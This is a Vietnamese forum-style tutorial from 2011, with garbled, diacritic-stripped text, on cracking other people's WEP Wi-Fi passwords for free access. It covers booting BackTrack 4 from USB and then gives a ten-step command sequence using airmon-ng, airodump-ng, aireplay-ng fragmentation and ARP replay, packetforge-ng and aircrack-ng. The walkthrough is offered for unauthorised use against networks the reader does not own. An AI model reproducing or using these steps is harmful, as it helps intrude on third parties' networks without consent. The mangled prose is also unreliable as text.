Hack pass wifi WEP key with Fragment no clientng ngy: 22:15 27-03-2011 Th mc: Tng hp

C th ni hack pass Wifi l ti mun thu v mnh ang online vi cc bn cng bng wifi lu y. Ni l lu nhng "key xn", hehehe. Thi khng di dng na, topic hack password dng Wepkey th c nhiu ri nhng hng dn dng k thut Fragment hack th cha c 1 topicng hong no ni ti. Bi vy, hm nay Lng t xin mo mui hng dn cc bn dng Fragment hack pass Wepkey, khng cn client

Ni n y chc cc bn no mi tp tnh hack pass wifi s khng hiu. Khng sao, mnh s hng dn t u cho cc bn no "mi vo ngh" lun: Phn 1: Gii thiu v hng dn v BackTrack Tm tt phn 1 cho nhng ai li c: Cng c cn dng: - Phn mm BackTrack 4 (BT4), download ti y: http://www.backtrack-linux.org/downloads/ USB (dung lng ty vo bn bn down) hoc a DVD burn file .iso va down v

- Phn mm burn file .iso v a DVD (nu mun boot bng USB th khi cn ci ny)

Hng dn boot BT4 bng USB: (Mnh test vi bn BT4 beta v USB 1GB) Cc bn gii nn file .iso va down v (dng Ultra Iso hoc Winrar) s c 2 folder l boot v BT4. Copy 2 folder ny vo USB Sau vo USB -> Vo boot -> Vo bootinst.bat. Ta s c:

Bm phm bt k, ta s c:

Bm phm bt k hon thnh. Vy l " ngh" xong ta tin hnh boot vi USB hoc a DVD. Bn no cha chnh th t u tin boot th vo BIOS chnh li nh, USB v DVD ln trn cng. Ta tin hnh boot vo BT4: Cm USB vo v bt my tnh, c cho n t chy. n khi n i log on th: -User: root -Pass: toor (Lu c nhiu my khi g pass s khng hin th g ht, bn yn tm c vic g, mc k n c hin th hay khng) Tip theo ta g: startx Vy l vo c BT4 ri . M 1 Shell (biu tng vung mu en gc tri di cng ) v lm theo cc bc sau...........

Cc bn c th lm theo hng dn nh trong ti liusau. Hoc dng thng k thut Fragment phn 2 s bo m chc chn hack c pass Wepkey Phn 2: Hng dn k thut Fragment Ti sao phi cn n k thut ny? - V chng ta cn 1 my victim ang kt ni vi BSSID cn hack m victim khng c (ch mi m khng c ai truy cp). - C my victim nhng ch chat thi hay sao y, data khng tng hoc tng rt chm, ch... c ngy m chng 2500 Ivs, ni chi c th phi cn hn th na V... 1 vi nguyn nhn khc Nu bn ang hack m ri vo cc trng hp trn hy khi ng li Back Track v dng Fragment Cc bc thc hin: Phn trong ngoc n () l ch thch nh Bc 1: M 1 Shell v g airmon-ng Bc 2: airmon-ng start wlan0 ( y card wireless ca mnh l wlan0) Bc 3: airodump-ng

Bc 4: airodump-ng mon0 ( chuyn sang ch monitor) Bc 5: airodump-ng --bssid {a ch MAC ca BSSID cn hack} --channel {channel ca BSSID cn hack} --ivs -w capturefile mon0 (capturefile l tn ca file m data c lu vo, bn c th in tn g cng c nhng n bc cui nh vit ng tn file ny nh ) Bc 6: M 1 shell khc v g: aireplay-ng -5 -b {a ch MAC ca BSSID cn hack} mon0 (-5 chnh l fragment cc bn) Ch 1 t v chn Yes, g ch "y" . Bc 7: M 1 Shell khc aireplay-ng -1 1 -a {a ch MAC ca BSSID cn hack} mon0 Bm Ctrl + C Quay li Shell th 2 bn s thy xut hin file c dng .xor (C l ta thnh cng ri ) Bc 8: Vn Shell th 2 nh packetforge-ng -0 -a {a ch MAC ca BSSID cn hack} -h 00:11:22:33:44:55 -k 255.255.255.255 -l 255.255.255.255 -y fragment- {tnfile.xor} -w arpy Bc 9: aireplay-ng -3 -r arpy -b {a ch MAC ca BSSID cn hack} mon0 Nu thy data tng v v th chc chn 99,99% ta thnh cng v pass hack c ri

Bc 10: y l bc cui cng dng b kha lng data m ta thu v aircrack-ng -b {a ch MAC ca BSSID cn hack} capturefile*.ivs Xong ri , lp li bc ny nu BT yu cu cn thm data bn nh